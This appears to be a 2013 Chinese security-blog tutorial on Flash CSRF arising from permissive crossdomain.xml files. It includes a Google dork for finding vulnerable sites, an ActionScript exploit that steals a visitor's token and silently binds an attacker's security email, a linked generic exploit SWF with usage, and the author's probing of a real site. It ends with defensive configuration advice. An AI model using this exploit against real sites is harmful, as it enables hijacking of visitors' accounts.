<main class="main-container ng-scope" ng-view=""><div class="main receptacle post-view ng-scope"><article class="entry ng-scope" ng-controller="EntryCtrl" ui-lightbox=""><header><h1 class="entry-title ng-binding">Flash CSRF</h1><div class="entry-meta"><a target="_blank" class="author name ng-binding">_Dy</a> <span class="bull">·</span> <time title="2013/10/28 11:29" ui-time="" datetime="2013/10/28 11:29" class="published ng-binding ng-isolate-scope">2013/10/28 11:29</time></div></header><section class="entry-content ng-binding" ng-bind-html="postContentTrustedHtml"><p></p><h2>目录</h2><hr><pre><code>0x00 Flash CSRF 名词解释
0x01 Flash CSRF形成的原因
0x02 Flash CSRF可以干些什么
0x03 Flash CSRF如何利用
0x04 Flash CSRF怎么防御
</code></pre><h2>0x00 Flash CSRF名词解释</h2><hr><p>CSRF（Cross-site request forgery跨站请求伪造，是一种对网站的恶意利用，CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。</p><p>Flash CSRF通常是由于Crossdomain.xml文件配置不当造成的，利用方法是使用swf来发起跨站请求伪造。</p><h2>0x01 Flash CSRF形成的原因</h2><hr><p>So 官腔我们也打了，还是要干点实事PS：:)</p><p>为人民服务的好孩子，我们来看看如何寻找Flash CSRF:</p><p>首先我们要知道怎么形成CSRF的</p><p>PS:CSRF形成的原因大概有以下几种：</p><p>Flash跨域权限管理文件设置为允许所有主机/域名跨域对本站进行读写数据：</p><pre><code>#!xml
This XML file does not appear to have any style information associated with it. The document tree is shown below.
&lt;cross-domain-policy&gt;
    &lt;allow-access-from domain="*"/&gt;
&lt;/cross-domain-policy&gt;
</code></pre><p>Flash跨域权限管理文件过滤规则不严(domain=”*”)，导致可以从其它任何域传Flash产生CSRF。</p><h2>0x02 如何来发现哪些地方存在Flash CSRF</h2><hr><p>骚年们，前面我们介绍了形成Flash CSRF的原因，我们是不是就可以对站下药了，难道又有一波个人资料被莫名被修改成“狗皮膏药”广告的节奏啊，敬告各位看官，看见了这篇文章之后请检查自己的站是否存在Flash CSRF以免减少被举报而带来的巨额损失啊（吊丝们对各位看官望尘莫及啊）：</p><p>由上面我们得知Flash CSRF是因为跨域权限管理文件配置不当而产生的，所以我们可以在根目录打开Crossdomain.xml来查看该网站或者只域名是否存在FLAH的CSRF：</p><pre><code>http://www.xxx.com/crossdomain.xml
</code></pre><p><br></p><pre><code>#!xml
This XML file does not appear to have any style information associated with it. The document tree is shown below.
&lt;cross-domain-policy&gt;
&lt;allow-access-from domain="*"/&gt;
&lt;/cross-domain-policy&gt;
</code></pre><h2>0x02 Flash CSRF可以干些什么</h2><hr><p>在一个月黑风高的夜晚，Flash CSRF慢慢的在向XX网靠近，下面说说我是怎么找到XX网的Flash CSRF和利用XX网的Flash CSRF直接修改访问者账号信息。</p><p>无聊的逛着各大新闻网站，感觉这些大部分新闻网站的新闻源都差不多没几下就看完了，最后觉得自己作为天朝一员还是应该关系关系下国家大事，就懵懂懂的打开了XX网，关心了下我国基本国情，始终耐不住寂寞，正好前两天学习了Flash CSRF的原理和危害，但是一直没找到东西练手，大家都知道天朝的网站是多么的牛B，但是也只是抱着试试的心态，完全就是小孩子玩玩泥巴而已了，玩笑时间到，回到正题:),我先打开xx网，按照刚刚前面查找该网站是否有Flash CSRF漏洞我们第一步该判断什么？没错就是看官们看到的这样，我也只是个凡人而已。。。。于是就有了如下的FlashCSRF漏洞查找流程：</p><pre><code>Google hack:crossdomain filetype:xml
</code></pre><p><br></p><pre><code>#!xml
This XML file does not appear to have any style information associated with it. The document tree is shown below.
&lt;cross-domain-policy&gt;
&lt;allow-access-from domain="*" secure=”true”/&gt;
&lt;/cross-domain-policy&gt;
</code></pre><p>Secure=true的意思是只允许通过安全链接来请求本域的数据。</p><p>随手查看了发现前2个全都是需要用ssl证书加密了之后的网站里面的Flash的文件才能获取本域的内容，突然之间脑海就浮现了一种奇怪的想法，自己搭建SSL网站，然后调用Flash文件进去不就可以读他们网站的数据和发送post请求，可是又遇见瓶颈了，找了这么多地方我Flash还没有地方可以插的，在不屑努力下，找到BLOG根目录下面的CrossDomain.xml文件居然允许所有主机的Flash读取本域的数据-PS：），下面我们就试试BLOG页面,发现也有，当然耐心也是必须的。</p><h2>0x03 Flash CSRF如何利用</h2><hr><p>我们找一个可以插入Flash的地方，插入我们自己写的Flash，访客访问我们网页就会执行我们写的脚本，下面我们来看看Flash CSRF具体利用方法。 So~下面我们来制造一个访客访问我们链接的时候，自动设置自己的密保邮箱：</p><p>首先我们添加保密邮箱点提交，然后抓包分析它提交了什么内容，然后来构造我们的Flash CSRF利用代码,下面我们提交绑定保密邮箱请求，抓包分析它的数据。 申请保密邮箱，浏览器向服务端发送了一个POST请求，请求地址和参数为：</p><pre><code>POST:xxx.xxx.xx/xx.jsp?userid=xxxx&amp;<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="a6cbc7cfca9bc2c2c2c2e6c2c2c2c288c5c9cb">[email&#160;protected]</a>
</code></pre><p><a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="5fb8cbeebbe5d1b9d7cebbe4f3bbe6d4bad6d2b9ead4b7f0cabbe0c2baf0d9b6ddf1b8f1eebae1c8b8c0fab9c3d2bad5feb8f4f0b9edfeb9c3d6b6f5d3b7f0de0d3a">[email&#160;protected]</a>ferer，但是页面验证了Token，所以我们就可以直接把POST数据包中的请求地址，参数名，参数值，Token值取出来用于伪造绑定保密邮箱的请求。</p><p>利用代码：</p><pre><code>#!as3
package {
    import flash.display.Sprite;
    import flash.events.Event;
    import flash.net.*;
    import flash.text.TextField;
    public class url extends Sprite
    {
        public function url()
        {
            //获取当前页面userid/token
            var echo_txt:TextField = new TextField();
            var targetURL:String = "http://xx.xx.cc";
            var request:URLRequest = new URLRequest(targetURL);
            request.method = URLRequestMethod.GET;
            request.data = "";
            sendToURL(request);
            var loader:URLLoader=new URLLoader();
            loader.addEventListener(Event.COMPLETE,completeHandler);
            function completeHandler(event:Event):void{
            var userid:String=((loader.data+"").match(/\/xxxx\/mxxxx\.php\?xxid=(\d+)/)||["",""])[1];

 var masthash:String=((loader.data+"").match(/\/xxxx\/mxxxx\.php\?masthash=(\d+)/)||["",""])[1];
            echo_txt.text =  masthash;
            //伪造申请密保邮箱POST请求
            var emailtargetURL:String = "http://xxxxxx.xx.cc/xxxx/xxxx.jsp?mark=send";
            var emailrequest:URLRequest = new URLRequest(emailtargetURL);
            emailrequest.method = URLRequestMethod.POST;
            var postdata:Object = new Array();
            postdata[0]="<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="b7cfcfcfcf8acfcfcfcff7cfcfcf99d4d4">[email&#160;protected]</a>&amp;xxxx="+xxxxx&amp;"xxxxx="+xxx;
            emailrequest.data = postdata[0];
            sendToURL(emailrequest);
            }
            loader.load(request);
        }
    }
}
</code></pre><p>我们用一个新账号来做测试看看效果 ：）</p><h2>0x04 Flash CSRF怎么防御</h2><hr><p>知道Flash CSRF攻击流程，然后在防御就so easy了~:)</p><p>妈妈再也不担心我被Flash CSRF啦~虽然各位看官都明白了怎么防御，但是还是照例啰嗦一下啦：</p><p>一句话概括：站点根目录CrossDomain.xml跨域获取信息权限控制好，精确到子域，不给不法分子留下机会！！ 附一份自己网站的CrossDomain.xml文件权限配置：</p><pre><code>#!xml
&lt;?xml version="1.0"?&gt;
&lt;cross-domain-policy&gt;
  &lt;allow-access-from domain="http://xx.xx.com" secure="true”/&gt;
&lt;allow-access-from domain="http://cc.xx.com" secure="true”/&gt;
&lt;/cross-domain-policy&gt;
</code></pre><p>根据自己的业务需求来更改CrossDomain.xml文件配置，切记精确到子域，这样会大大减少Flash CSRF的风险！</p><p>通用Flash CSRF EXP : <a href="http://static.wooyun.org/20141017/2014101716304958791.swf">FlashCSRFexp.swf</a></p><p>使用方法：</p><pre><code>FlashCSRFexp.swf?url=http://www.xx.xx/x.jsp?&amp;xx=xx&amp;xx=xx&amp;xx=xx&amp;xx=xx
PS:url=[post请求的地址]&amp;[参数值用&amp;分开]
</code></pre><p>谢谢各位大牛捧场，十分感谢二哥，长短短，PKAV团队的技术栽培 :)~</p><p></p></section></article><div class="entry-controls clearfix"><div style="float:left;color:#9d9e9f;font-size:15px"><span>&copy;乌云知识库版权所有 未经许可 禁止转载</span></div></div><div id="comments" class="comment-list clearfix"><div id="comment-list"><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">核攻击</span> <span class="reply-time">2013-11-23 11:10:30</span></div><p></p><p>good good study, day day up!</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">大隐</span> <span class="reply-time">2013-11-13 12:11:37</span></div><p></p><p>我顶</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">xfkxfk</span> <span class="reply-time">2013-11-10 21:30:36</span></div><p></p><p>可不可以留一个swf附件啊</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">包包</span> <span class="reply-time">2013-10-29 23:03:31</span></div><p></p><p>写得不错</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">牛牛</span> <span class="reply-time">2013-10-28 15:21:24</span></div><p></p><p>支持一下呵呵</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">NgInx</span> <span class="reply-time">2013-10-28 11:56:05</span></div><p></p><p>好吧，基佬，顶你一个，不错。</p><p></p></div></div></div></div></div></main>